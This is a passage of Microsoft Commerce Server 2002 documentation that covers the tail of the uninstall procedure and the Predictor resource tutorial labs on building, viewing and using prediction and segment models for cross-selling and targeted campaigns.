  • Step 6: Delete the Commerce Server 2002 site virtual directories. Perform this step only if you have unpacked a site.
  • Step 7: Delete the ISAPI filter (CSAuthFilter) from Internet Information Services. Perform this step only if you have set Autocookie or changed the Authentication Filter setting on a Commerce application from the default set by the Solution Site packages.
  • Step 8: Delete the Commerce Server 2002 site folders and files. Perform this step only if you have unpacked a site.
  • Step 9: Delete the Direct Mailer jobs in SQL Server. Perform this step only if you installed Direct Mailer and created Direct Mailer jobs. If you do not perform this step and you re-install Direct Mailer at a later date, the direct mail jobs from the previous installation will be enabled.

After performing these steps, it is recommended that you restart your computer.

The following procedures provide detailed instructions for performing each of these steps.

Step 1: Remove the Commerce Server 2002 Solution Sites

  1. Click Start, point to Settings, and then click Control Panel.
  2. Double-click Add/Remove Programs.
  3. In the Add/Remove Programs dialog box, click Commerce Server Solution Sites Remove.
  4. In the next Add/Remove Programs dialog box, click Yes to confirm that you want to remove the Commerce Server Solution Sites.

Step 2: Remove the Commerce Server 2002 platform

  1. Click Start, point to Settings, and then click Control Panel.
  2. Double-click Add/Remove Programs.
  3. In the Add/Remove Programs dialog box, click Commerce Server 2002 Remove.
  4. In the next Add/Remove Programs dialog box, click Yes to confirm that you want to remove Commerce Server 2002.
  5. Click Yes to restart your computer if prompted.

Step 3: Delete the Commerce Server 2002 installation folder

  1. Using Windows Explorer navigate to the folder where Commerce Server is installed (for example, C:\Program Files\Microsoft Commerce Server).
  2. Right-click the folder you want to delete, and then click Delete.
  3. In the Confirm Folder Delete dialog box, click Yes to confirm the deletion.

Step 4: Delete the Commerce Server 2002 databases

  1. Click Start, point to Programs, point to Microsoft SQL Server 2000, and then click Enterprise Manager.

    Note

    • In SQL Server Enterprise Manager, make sure that SQL Server is running (the icon in the Enterprise Manager window displays a green light). If it is not running, right-click the name of the SQL Server computer, and then click Start.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Databases.
  3. Right-click the database you want to delete, and then click Delete.
  4. In the Delete Database dialog box, click Yes to confirm that you want to delete the database.
  5. Repeat steps 3 and 4 for each database you want to delete.

Step 5: Delete the Commerce Server 2002 Analysis server databases

  1. Click Start, point to Programs, point to Microsoft SQL Server, point to Analysis Services, and then click Analysis Manager.
  2. Expand the nodes to the following path: \Analysis Servers\SQL Server Name.
  3. Right-click the database you want to delete, and then click Delete.
  4. In the Delete Database dialog box, click Yes to confirm that you want to delete the database.

Step 6: Delete the Commerce Server 2002 site virtual directories

  1. Click Start, point to Administrative Tools, and then click Internet Services Manager.
  2. Expand the nodes to the following path: \<computer name>\<IIS Web site name>.
  3. Right-click the virtual directories you want to delete (for example, Retail or Supplier), and then click Delete.
  4. In the Confirm Folder Delete dialog box, click Yes for each virtual directory you want to delete.
  5. Repeat steps 3 and 4 for each virtual directory you want to delete.

Step 7: Delete the ISAPI filter (CSAuthFilter) from Internet Information Services

  1. Click Start, point to Administrative Tools, and then click Internet Services Manager.
  2. Expand the nodes to the following path: \<computer name>\<IIS Web site name> (for example, CSServer1\Default Web Site).
  3. Right-click the IIS Web site, and then click Properties.
  4. In the Web Site Properties dialog box, on the ISAPI Filters tab, select CSAuthFilter, click Remove, and then click OK.

Step 8: Delete the Commerce Server 2002 site folders and files

  1. Using Windows Explorer navigate to the directory where the site files were installed (for example, C:\Inetpub\wwwroot).
  2. Right-click the folder you want to delete, and then click Delete.
  3. In the Confirm Folder Delete dialog box, click Yes for each folder you want to delete.
  4. Repeat steps 2 and 3 for each folder you want to delete.

Step 9: Delete the Direct Mailer jobs in SQL Server

  1. Click Start, point to Programs, point to Microsoft SQL Server 2000, and then click Enterprise Manager.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\SQL Server Name\Management\SQL Server Agent\Jobs.

    The Direct Mailer jobs appear in the right pane of SQL Server Enterprise Manager.

  3. Select the Direct Mailer job(s) you want to delete, and then click the Delete button on the toolbar.

After performing these steps, it is recommended that you restart your computer.

See Also

Uninstalling the Business Desk Client


Uninstalling the Business Desk Client

To uninstall the Business Desk client

  1. Click Start, point to Settings, and then click Control Panel.
  2. Double-click Add/Remove Programs.
  3. Select Commerce Server 2002 Business Desk (application name), and then click Change/Remove.
  4. In the next Add/Remove Programs dialog box, click Yes to confirm that you want to remove Commerce Server 2002 Business Desk.

The Business Desk client is now removed from your computer.

See Also

Installing Commerce Server 2002

Uninstalling Commerce Server 2002


Commerce Server Tutorials

Commerce Server includes the following tutorials:

  • Predictor Resource Tutorial. Provides step-by-step procedures for using the Predictor resource to build analysis models and view and interpret the models, for viewing and understanding predictions, and for using the Predictor Model Configuration Wizard.
  • Closing the Loop with Commerce Server Systems. A tutorial for closing the loop with Commerce Server Business Analytics, Targeting, and Profiling Systems. Provides step-by-step procedures for analyzing user data and creating effective targeting campaigns to increase sales.
  • Direct Mailer Tutorial. Provides step-by-step procedures for creating a Direct Mail campaign.
  • Business-to-Consumer Tutorial. Explains how to use Business Desk to perform key tasks for managing your business-to-consumer (B2C) and business-to-business (B2B) commerce sites.
  • Business-to-Business Tutorial. Explains how to use Business Desk to perform key tasks for managing your business-to-consumer and business-to-business commerce sites.
  • Commerce Server Developer Tutorials. Lists the Commerce Server tutorials for Developers.


Predictor Resource Tutorial

Microsoft Commerce Server 2002 includes the Predictor resource, which is a suite of tools for general-purpose data mining and analysis. Using the Predictor resource you can create effective marketing campaigns, analyze users on your Web site, and provide real-time recommendations. The intended audience for this tutorial is the system administrator.

After following the step-by-step tutorial, you can use the Predictor resource to do the following:

  • Cross sell: Provide real-time product recommendations to users as they shop for products on your Web site.
  • Cross browse: Provide real-time product recommendations to browse on your site as users shop for products.
  • Demographic prediction: Make statistically informed guesses about the demographic makeup of every user based on the products they purchase and the pages they browse on your site.
  • Targeted advertising: Target banner ads for each user based on their browsing and shopping behavior on your site.
  • User segmentation: Automatically segment your site visitors based on their buying and browsing behavior on your site.

You must follow the tutorial in the order provided.

For more information about the Predictor resource, see Running the Predictor Resource.

Note

  • The Predictor tutorial site is for educational purposes only. It is recommended that you do not build your Commerce Server production site using the Predictor tutorial site.

This section contains:

  • Preparing to Use the Tutorial
  • Lab 1: Building an Analysis Model
  • Lab 2: Viewing and Interpreting Analysis Models
  • Lab 3: Using Analysis Models on Your Site
  • Lab 4: Viewing and Testing Predictions
  • Lab 5: Understanding Model Configurations for Your Site
  • Lab 6: Using the Predictor Model Configuration Setup Wizard
  • Lab 7: Building Combined Product Browsing and Ad Clicks Analysis Models
  • Lab 8: Saving and Importing Analysis Models
  • Lab 9: Providing Recommendations for Product Browsing
  • Lab 10: Automating Site Operations
  • Lab 11: Using the Predictor Resource for Data Mining


Preparing to Use the Tutorial

You need to perform the following preparatory tasks before you begin the tutorial:

  • Edit the Populate.sql File
  • Unpack the Predictor Demo Site
  • Install the Predictor Demo Business Desk Application
  • Import Sample Data to the Data Warehouse


Edit the Populate.sql File

  1. Using Windows Explorer, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\ and open the populate.sql file in Notepad.
  2. If you have installed Commerce Server 2002 on a drive other than the C:\ drive, in the populate.sql file, change all five instances of C: in C:\\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\ to the correct drive letter.
  3. Save the file, and then close Notepad.


Unpack the Predictor Demo Site

  1. Using Windows Explorer, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, and then double-click the PredictorDemoSite.pup file.
  2. In the Unpack dialog box, select Quick unpack, and then click Next.
  3. In the Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name | Verify that the Site name is PredictorDemo. Do not change the Site name.
    IIS Web site | Select the name of the Internet Information Services (IIS) 5.0 Web site where the applications will be installed.
    SQL Server Computer | Type the name of the SQL Server on which you want the site databases to be created.
    Use Windows Integrated Security | Do not use the Windows Integrated Security option for setting up the Predictor demo Site.
    Use a specific user name and password | Select this option to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type a SQL Server login user name that has permissions on the SQL Server on which the site databases are to be created.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  4. Click Next.
  5. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Accept the default name.
    Server | Type the name of the SQL Analysis Server that the Data Warehouse will use.
    Database | Type the name of the Analysis Services (OLAP) database.
  6. Click OK.
  7. In the Profiling System dialog box, accept the default .xml files, and then click Next.
  8. In the next Profiling System dialog box, in the Data population scripts box, click Browse.
  9. In the Open dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, select the Populate.sql file from the list, and then click Open.
  10. Click OK.
  11. In the Unpacking is complete dialog box, review the list of SQL Server databases and IIS applications that were created. To review the list of events in the Site Packager log file, click View Log File.

    Note

    • If you encounter any errors during setup, it is recommended that you view the log file to determine the source of the error.
  12. To close Site Packager, click Finish.


Install the Predictor Demo Business Desk Application

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type the URL for your installation of the Predictor Demo Business Desk (for example, http://<computername>/PredictorDemoBizdesk), and then press Enter.
    • If the Predictor Demo Business Desk site fails to load, try doing a site refresh by clicking Refresh from the toolbar.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK.

    The Business Desk Client Setup begins. If the Microsoft® ActiveX® controls have not been downloaded, troubleshooting tips are displayed in the upper section of the Business Desk Client Setup screen. Microsoft ActiveX controls are needed to install the Business Desk Client.

    In the lower section of the screen, check marks appear when each task is complete. When all four tasks are complete, the Business Desk installation is complete. A link to Business Desk is displayed at the bottom of the screen.

    Note

    • If you are unable to download the ActiveX controls, follow the instructions on the Business Desk Client Setup screen.
  4. When you have completed the Business Desk installation, close Internet Explorer.

The Business Desk icon now appears as a shortcut on your desktop and on the Start menu.


Import Sample Data to the Data Warehouse

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In the SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand your SQL server, right-click Data Transformation Services, and then click Open Package.
  3. In the Select File dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, select the file ImportData.dts, and then click Open.
  4. In the Select Package dialog box, select the PredictorDemo Import Data from the list, and then click OK.
  5. In the SQL Server Enterprise Manager, right-click Microsoft OLEDB Provider for SQL Server, and then click Properties.
  6. In the Connection Properties dialog box, verify the Microsoft SQL Server authentication credentials, and then click OK.
  7. Right-click Transaction data import task, and then click Properties.
  8. In the Properties dialog box, verify that the Operation level is shown as Site level, and that the Sitename is PredictorDemo, and then click OK.
  9. Right-click Profile data import task, and then click Properties.
  10. In the Properties dialog box, in the Import start date box, change the date to 1/1/99, and then click OK.
  11. Repeat steps 7 and 8 for the Campaign data import and Product catalog import tasks.
  12. In SQL Server Enterprise Manager, click Execute on the toolbar.
  13. In the Package Execution Results dialog box, click OK.
  14. In the Executing DTS Package: Import data to the data warehouse dialog box, click done when all the tasks are completed.

    Note

    • If you encounter any errors during setup, it is recommended that you view the log file to determine the source of the error.
  15. Exit SQL Server Enterprise Manager.


Lab 1: Building an Analysis Model

In this lab you will build prediction and segment models using the Predictor service in Commerce Server Manager.

This lab contains the following steps:

  • Step 1: Build a prediction model
  • Step 2: Build a segment model

Step 1: Build a prediction model

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click DemoTransactions, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Software Predictions.
    Model type | Select Prediction as the analysis model type.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish.

Note

  • For more information about the Model Build Properties dialog box, see Model Build Properties.

Step 2: Build a segment model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click DemoTransactions, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Software Segments.
    Model type | Select Segment as the analysis model type.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish. Wait until the status of the model changes from Running to Idle.


Lab 2: Viewing and Interpreting Analysis Models

In the lab, you use Commerce Server Manager and the Business Desk application to view and interpret Prediction and Segment models.

This lab contains the following steps:

  • Step 1: View the Prediction model using Commerce Server Manager
  • Step 2: View the Segment model using Business Desk

Step 1: View the Prediction model using Commerce Server Manager

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Models.
  3. In the Commerce Server Manager content pane, right-click Software Predictions, and then select View Model.
  4. In the Software Predictions screen, you can see the dependency network between your products.

    Software Prediction Dependency Network

    For more information about viewing the dependency network, see Using Dependency Network View.

  5. In the Software Predictions screen, click Find on the toolbar.
  6. In the Node Finder dialog box, select NFL Fever 2000.QTY from the list, and then click Go to Node. Note the following:
    • The selected product is represented as a green node, and the other products it predicts are represented as purple nodes.

      Dependency Network for NFL Fever

    In this example, the Prediction model shows a positive correlation between NFL Fever 2000 and NBA Inside Drive. If a user is interested in one of the two products, it is very likely that the user will be interested in the other product as well. Two or more products may have a positive or negative correlation with each other. In a negative correlation, a user who chooses one of the products is unlikely to choose the other. For example, a negative correlation exists between audio CDs and audiocassettes. You use the decision tree view to determine whether the relationship between products is positive or negative.

  7. In the Software Predictions screen, click any white space to clear the NFL Fever 2000.Q node, and then click Find on the toolbar.
  8. Using the Node Finder, you can find any node in the model. In the Node Finder dialog box, select Mastering Web Application Development Using Visual InterDev 6.QTY from the list, and then click Go to Node.
  9. In the Software Prediction Model screen, double-click the node Mastering Web Application Development Using Visual InterDev 6.QTY.
  10. In the Decision Tree for Mastering Web Application Development Using Visual InterDev 6.QTY screen, note the following:
    • The Decision tree for Mastering Web Application Development Using Visual InterDev 6.QTY contains a set of IF-THEN rules that are triggered by a user's purchasing behavior.
    • Each path in the tree (directed by an arrow) corresponds to an IF<Condition> THEN<Prediction> rule.
    • A blue oval node represents a property in the conditional part of an IF-THEN rule, and a square node contains the prediction part of the rule.

      Decision Tree for Mastering Web Applications

    In this example, Microsoft Site Server 3.0 is the conditional product with two conditions: missing and not missing. The numbers in parentheses represent the number of times that that specific condition was true.

  11. In the Decision Tree for Mastering Web Application Development Using Visual InterDev 6.QTY screen, double-click the square node located in the upper-right corner labeled, “missing”.
  12. In the Details for Mastering Web Application Development Using Visual InterDev 6.QTY dialog box, note the following:

    IF-THEN rules for Mastering Web Applications

    • IF-THEN condition in detail.
    • The IF box displays the condition, and the THEN box displays the probable outcomes of buying 0,1,2, or 3 copies of the product.

    In this example, if the user has not purchased a copy of Site Server 3.0, then the probability of the user not purchasing Mastering Web Applications for Development Using Visual InterDev 6.0 is 98 percent.

  13. Close the Details for Mastering Web Application Development Using Visual InterDev 6.QTY dialog box.
  14. In the Decision Tree for Mastering Web Application Development Using Visual InterDev 6.QTY screen, click the back arrow on the upper left corner.
  15. In the Software Predictions screen, click any white space to clear the Mastering Web Application Development Using Visual InterDev 6.QTY node, and then click Find from the toolbar.
  16. In the Node Finder dialog box, select Visual Studio 6.0 Professional Edition from the list, and then click Go to Node.
  17. In the Software Predictions screen, double-click the node Visual Studio 6.0 Professional Edition.
  18. In the Decision Tree for Visual Studio 6.0 Professional Edition.QTY screen, note the following:

    Decision Tree for Visual Studio 6.0

    • The screen shows the decisions tree for Visual Studio 6.0.
    • Visual Studio 6.0 Professional Edition has a predictive dependency on MSDN Professional Subscription, Microsoft Windows 2000 Server, and Microsoft Visual J++ 6.0 Professional Edition.
  19. In the Visual Studio 6.0 Professional Edition.QTY screen, double-click the square node labeled missing (982), which connects to MSDN Professional.

    Note

    • The number of users that satisfy the IF condition are presented in brackets ''()''. In this example, there are 982 users who belong to the node labeled missing (982).
  20. In the Details for Visual Studio 6.0 Professional Edition.QTY dialog box, note the following:

    IF-THEN rules for Visual Studio 6.0

    Of the users who did not purchase Windows 2000 Server and MSDN – Professional Subscription, 98.7 percent did not purchase Visual Studio 6.0 Professional Edition either.

  21. Close the Details for Visual Studio 6.0 Professional Edition.QTY dialog box.
  22. In the Visual Studio 6.0 Professional Edition.QTY screen, double-click the bottom-most square node labeled not missing (31) that connects to MSDN Professional.
  23. In the Details for Visual Studio 6.0 Professional Edition.QTY dialog box, note the following:

    IF-THEN rules for Visual Studio 6.0

    • 8.6percent of users who purchased both Windows 2000 Server and MSDN – Professional Subscription, did not purchase Visual Studio 6.0 Professional Edition.
    • 20 percent of the users purchased more then one version.
  24. Close the dialog box, the Decision Tree for Visual Studio 6.0 Professional Edition.QTY screen, and Commerce Server Manager.

Step 2: View the segment model using Business Desk

  1. Start the Predictor Demo Business Desk.
  2. In Analysis, click Segment Viewer.
  3. In the Segment Viewer screen, select Software Segments, and then click Open.
  4. In the Segment Viewer: Software Segments screen, note the following:

    Software Segments Model

    • The segment hierarchy in the navigation box represents the entire population. (100 percent). The Segment hierarchy consists of segments and segment groups. A segment is a collection of users with similar property values, for example, users who have made similar purchases. A segment group is a set of similar segments.
    • The Summary of Population box displays a list of the most likely properties and their values in the entire population. The longer the red bar, the more likely the Property/Value pair is in the population.
  5. In the Segment hierarchy pane, expand Population (100%), expand all the segments and segment groups, and then note the following:

    • The summary of Segment 5 displays the most likely property/value pairs associated with users in this segment. In this example, Money 2000 Business & Personal.QTY with the value 3 indicates that most users in this segment purchased 3 copies of Microsoft Money 2000 Business and Personal.
    • You can compare segments: The Compare Segment 5 to dropdown box has Population selected by default. However, you can select any segment or segment group for a comparison between the selected segment and rest of the segments present in the segment model.
    • Yellow bars indicate the property/value pairs that increase the membership a user in cluster 5. In this example, Baseball 2000.QTY with value of 1 means a user who purchased a copy of Microsoft Baseball 2000 becomes a member of segment 5.
    • Blue bars indicate the property/value pairs that decreases the membership of a user from segment 5. In this example, Windows 98 Second Edition.QTY with a value of 2 means a user who bought two copies of Microsoft Windows 98 Second Edition is less likely to be a member of segment 5.
    • Purchases of Baseball 2000 and Microsoft NBA Inside Drive 2000 place a user in segment 5. This implies that the users in cluster 5 are sports computer games fans compared to the rest of the segments in the total population.
    • You can rename segments to make the names meaningful and easier to browse.
  6. In Segment hierarchy, select Segment 5, and then click Rename.
  7. In the Rename Segment dialog box, in the Rename to box, type Sports Computer Games Fans, and then click OK.
  8. In Segment hierarchy, select Segment 7, and then note the following:
    • Users in the cluster 7 purchased Site Server 3.0, Commerce Edition and SQL Server 7. This implies that the users in cluster 7 are Web Developers.
  9. In Segment hierarchy, select Segment 7, and then click Rename.
  10. In the Rename Segment dialog box, in the Rename to box, type Web Developers, and then click OK.
  11. In Segment hierarchy, select Segment Group 14, and then note the following:
    • The Comparing Segments section provides summary and other comparison information for segments as well as segment groups.
    • You should view all the segments and segment groups within a model to get a better understanding of the segment model.
  12. Analyze all segments in Segment Group 14 to deduce that it represents home users.
  13. Rename Segment Group 14 to Home Users.
  14. In the Segment hierarchy pane, select Segment Group 12, and then note that the group represents small business users.
  15. Rename Segment Group 12 to Small Business Users.
  16. In the Segment hierarchy pane select Segment 3, and then note that the group represents developers.
  17. Rename Segment 3 to Developers.

  18. In the Segment Viewer: Software Segments screen, click Report on the toolbar to view the summary report of the entire Segment model.
    • You can save this report to a file by saving the Model Summary Web page from your Internet browser.
    • You can also export user lists. User lists are used by Commerce Server 2002 to create a direct mail campaign to target users who are likely to buy a specific product.
  19. In the Segment hierarchy section, select Web Developers, and then click Export on the toolbar.
  20. In the Export Segment to List dialog box, do the following:
    Use this | To do this
    Enter list name | Type Web Developers.
    Minimum probability Verify that the value is 0.50.

    In Commerce Server 2002, every user is a partial member of all the segments. Segments tend to overlap with less distinct boundaries. So, a user may be 80% member of one group and a fractional member of the rest. The higher the fractional value assigned to the user, the closer the property values of the user are to the property values of the typical user in the segment. This fractional value of a user is the probability of membership for the given segment.

    The Minimum probability sets a threshold criterion for including a user in the export list. If the probability of membership of a user exceeds the specified threshold, the user is not included in the export list.

    If the Minimum probability is set to be high (close to 1), then only a small number of users will be included in the user list. However, if the value is set to be low (close to 0), then many users will be included in the export list.
  21. Click OK.


Lab 3: Using Analysis Models on Your Site

In this lab you will create a transaction-based Prediction model and use it on your Web site.

This lab contains the following steps:

  • Step 1: Build the Transaction model
  • Step 2: Analyze predictions on your Web site
  • Step 3: Use the Affinity List module

Step 1: Build the Transaction model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click DemoTransactions, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Transactions.
    Model type | Select Prediction as an analysis model type to build.

Important

  • Use the exact model names for analysis models because ASP pages will use that name when making predictions.
  1. Click Next.
  2. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish. Wait until the model is successfully built.
  3. In the Commerce Server Manager content pane, right-click Transactions, and then select View Model. Note the following:

    The dependency network for Predictions should look identical to the dependency network for Software Predictions created in Lab 2: Viewing and Interpreting Analysis Models.

Step 2: Analyze predictions on your Web site

  1. Start Internet Explorer, and then go to http://localhost/predictordemo to visit your Predictor Demo site.

    Notes

    • If the Predictor Demo site fails to load, try doing a site refresh by clicking Refresh from the toolbar.
    • The Predictor Demo site may not function correctly if SQL Authentication was not used during Commerce Server 2002 installation.

    Predictor Demo Site

  2. On the Predictor Demo site, in the Categories list, click Games, click Sports Products, and then click Baseball 2000 in the list.
  3. On the Baseball 2000 product page, click Add to Basket, and then click Basket at the top of the page.
  4. On the Basket page, note the following:

    Cross Sell Recommendations

    • Your product basket includes Baseball 2000.
    • Product recommendations: NFL Fever 2000, NBA Inside Drive 2000, and Office 2000 Standard.

    Note

    • You can configure the number of recommendations that are displayed on the Basket page by modifying the call to the Predictor function in the ASP code.
  5. Use Commerce Server Manager to go back to the Transactions Dependency Network.
  6. In the Transactions screen, click Find from the toolbar.
  7. In the Node Finder dialog box, select Baseball 2000.QTY from the list, and then click Go to Node. Note the following:
    • If you move the Link Slider (located vertically on the left side of the screen) all the way down and then slowly move the slider up to increase the links strength, the three outgoing links appear from Baseball 2000 to nodes corresponding to the recommended products for Baseball 2000.
    • The recommendations match the order in which the arcs appear.

Step 3: Use the Affinity List module

Using the Affinity List module you can create a list of users and a direct mail campaign to target users who are likely to buy a specific product.

  1. Start the Predictor Demo Business Desk.
  2. In Analysis, click Affinity Lists, and then observe the following:
    • Prediction models are listed on the right-hand side.
    • The Prediction models that appear are either known to predict products or are generated from custom model configurations.

    Note

    • In order for the export feature to function correctly on a Prediction model generated from a custom model configuration, the predicted property must be named "SKU" with an aggregate column "QTY." If your model does not have these properties, you can manually generate a list using the Predictor API.For more information about generating list manually, see PredictorServiceSiteAdmin::GenerateList.
  3. In the Affinity Lists screen, select Software Predictions from the list, and then click Export on the toolbar.
  4. In the Affinity Lists Properties dialog box, do the following:
    Use this To do this
    List Name Type VJ++.

    This list contains users who are likely to buy Microsoft Visual J++.
    Product Identifier Click the ellipsis [...] button to launch the Product Picker dialog box.

    In the Product Picker dialog box, expand Development Tools, click Visual J++, select Visual J++ Professional Edition, and then click OK.
    Minimal probability for product purchase Type 0.10.

    The Minimal probability for product purchase field is used to specify the threshold criterion for including users in the list.

    The lower the threshold, the greater the number of users that are included. However, users on the list with a lower threshold are less likely (on average) to buy the product.

    The right threshold for your list depends on variables, such as market demand, and specific properties for purchases made on your site. For example, the variety of transactions on your site and the diversity of users who visit your site.

    To generate an effective list, it is recommended that you run a few tests to determine the most effective parameters.
  5. Click OK.

    Notes

    • The larger the size of the analysis model, the longer it takes to generate a list.
    • When a list is generated for the first time, the Predictor resource caches all the data needed to generate the list in order to make future exports faster.
    • After a list is successfully generated, it appears in the List Manager module in Campaigns.
  6. In Campaigns, click List Manager, and then note the following:
    • VJ++ list appears in the list.
    • You use the List Manager module to create a direct mail campaign to target users who are likely to buy Visual J++. For more information about creating marketing campaigns, see Business Desk Campaigns.


Lab 4: Viewing and Testing Predictions

In this lab you will learn about tools used to view and test predictions. The following are three tools used to determine if the Prediction model is yielding good predictions:

  • Decision Trees: A Prediction model consists of a set of decision trees and a summary network called a dependency network. A dependency network summarizes the dependencies (predictive relationships) described by the decision trees.

    You use the Prediction Model Viewer to view both the dependency network and the individual decision trees. For more information about using decision trees, see Using Decision Tree View.

  • Recommendation and Datafit Scores: You will learn about recommendations and Datafit scores in Lab 10: Automating Site Operations.
  • Prediction Viewer: Using the Prediction Viewer tool, you can manually create sample cases and analyze prediction results. You can also determine a good setting for the popularity penalty. Popular items that are purchased frequently are considered very well known, and recommending them to a user is not required. A higher value for the popularity penalty reduces the likelihood that a popular item is included as a recommendation.

    The value for the Popularity Penalty ranges from 0.0 to less than 1.0. The default value is 0, which results in no penalty for popular items. This is the recommended value to maximize the sales of the most popular products. A setting of 0.5 to 0.7 is usually appropriate when users are most likely to be familiar with the most popular items.

    The Prediction Viewer tool is included in the Commerce Server 2000 Resource Kit.

Note

  • The Prediction Viewer tool is different from the Prediction Model Viewer, which is a part of Commerce Server 2002.


Lab 5: Understanding Model Configurations for Your Site

In this lab you will learn about model configurations that are available to build analysis models.

Commerce Server 2002 includes the Predictor Model Configurations Setup Wizard that you use to set up model configurations on your Web site. These model configurations can later be used to build new analysis models.

Following are the model configurations included in Commerce Server 2002:

  • Transactions
  • Demographics
  • Transactions and Demographics
  • Product Browsing
  • Ad Clicks


Transactions

You use the Transaction model configuration to build analysis models to predict the products that users are likely to buy, based upon items a registered user has already bought. This prediction mechanism is also known as cross selling.

When you cross sell products, you can provide product recommendations to users when they add related products to their shopping basket.


Demographics

You use the Demographics model configuration to build analysis models that predict the demographic characteristics that your users are likely to share. Using this configuration, you can predict missing properties a user failed to enter during the user registration processes on your site.

Following are the suggested demographic property/values.

  • Age. The age of the user. The age can be a range of numbers or one specific number.
  • Occupation. Occupation of the user. It is highly recommended that you predefine occupation groups to avoid synonyms and spelling errors. For example, even though a software engineer and a developer perform the same work, the Predictor resource has no way of knowing that unless you define and consistently use a value name for Occupation.
  • Marital Status. Marital status of the user. For example, single, married, divorced, and so forth.
  • Gender. Male or female.
  • Income. The income of the user. It is highly recommended that you predefine income groups.
  • Education. Educational level of the user. This property can either be a number corresponding to the amount of years a user has studied, or a level of education, such as, High School, B.A., M.S., Ph.D, and so forth.
  • Children. The number of children the user has.
  • Family Role. The role of the user in a family.
  • Region. Any type of regional location. This property can vary from site to site. On international sites, you might choose to designate country/regions. On sites that are not international, you might choose to use states. Moreover, local sites can use cities or counties. If you wish to use country/region, state, and city, you can create strings such as ''USA.WA.Seattle'' that encapsulate multiple data in one value.


Transactions and Demographics

You use the Transactions and Demographics model configuration to build analysis models to predict likely relationships between demographic characteristics and product purchases. The accuracy of this model is directly proportional to the number of registered users on your Web site.


Product Browsing

You use the Product Browsing model configuration to build analysis models that predict the products that your users are likely to browse. You can then recommend other product pages a user is likely to visit. This is different from the transaction model, which predicts likely purchases. The Product Browsing model predicts the likely pages a user might browse.


Ad Clicks

You use the Ad Clicks model configuration to build analysis models that predict the ads that your users are likely to click. Recommendations can be based upon the predictions from Product Browsing, Page Group Browsing, Transactions, and Demographic data. You can also select which model configuration data should be considered before making an Ad Clicks prediction.

Notes

  • Do not use the Demographic model configuration data if you do not have any registered users on your site.
  • Do not use the Transactions model configuration data if the users on your site do not make any purchases.


Lab 6: Using the Predictor Model Configuration Setup Wizard

In this lab you will learn how to use the Predictor Model Configuration Setup Wizard. Before you use the wizard you must import data into the Data Warehouse by running Commerce Server Data Transformation Services (DTS) tasks. The DTS tasks modify the Data Warehouse schema and prepare your Web site for the Predictor Model Configuration Setup wizard.

The following table lists the DTS tasks corresponding to the model configuration:

Model Configuration | DTS Tasks
Transaction | Transactions Import
Demographics | Profile Data Import
Transaction and Demographics | Transactions Import and Profile Data Import
Product Browsing | Web server log import
Ad Clicks | Web server log import and Campaign Data Import

Note

  • These tasks were already performed when you imported sample data in preparation for the tutorial. The following redundant steps are for educational purposes to explain site requirements for building model configurations except the Web server log import (Commerce Server) task in Step 3.

This lab contains the following steps:

  • Step 1: Run DTS tasks for the Transaction Model Configuration
  • Step 2: Run DTS tasks for the Demographics Model Configuration
  • Step 3: Run DTS tasks for the Product Browsing Model Configuration
  • Step 4: Run DTS tasks for the Ad Clicks Model Configuration
  • Step 5: Create a workflow for data import
  • Step 6: Run the Predictor Model Configuration Setup wizard

Step 1: Run DTS tasks for the Transaction Model Configuration

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In the SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand your SQL server, right-click Data Transformation Services, and then click New Package.
  3. On the Task menu, click Transaction data import (Commerce Server).
  4. In the Transaction Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type Transactions.
    Operation level | Select Site level from the drop-down list.
    Site name | Select PredictorDemo from the drop-down list.
    Incremental | Do not select this option.
    Full | Select this option to import all transaction data.
  5. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Accept the default number of retry attempts of 10 times.
    Seconds between retries | Accept the default time interval of 30 seconds.
  6. In the Import property section, accept the default value of 25 minutes for the Query interval.
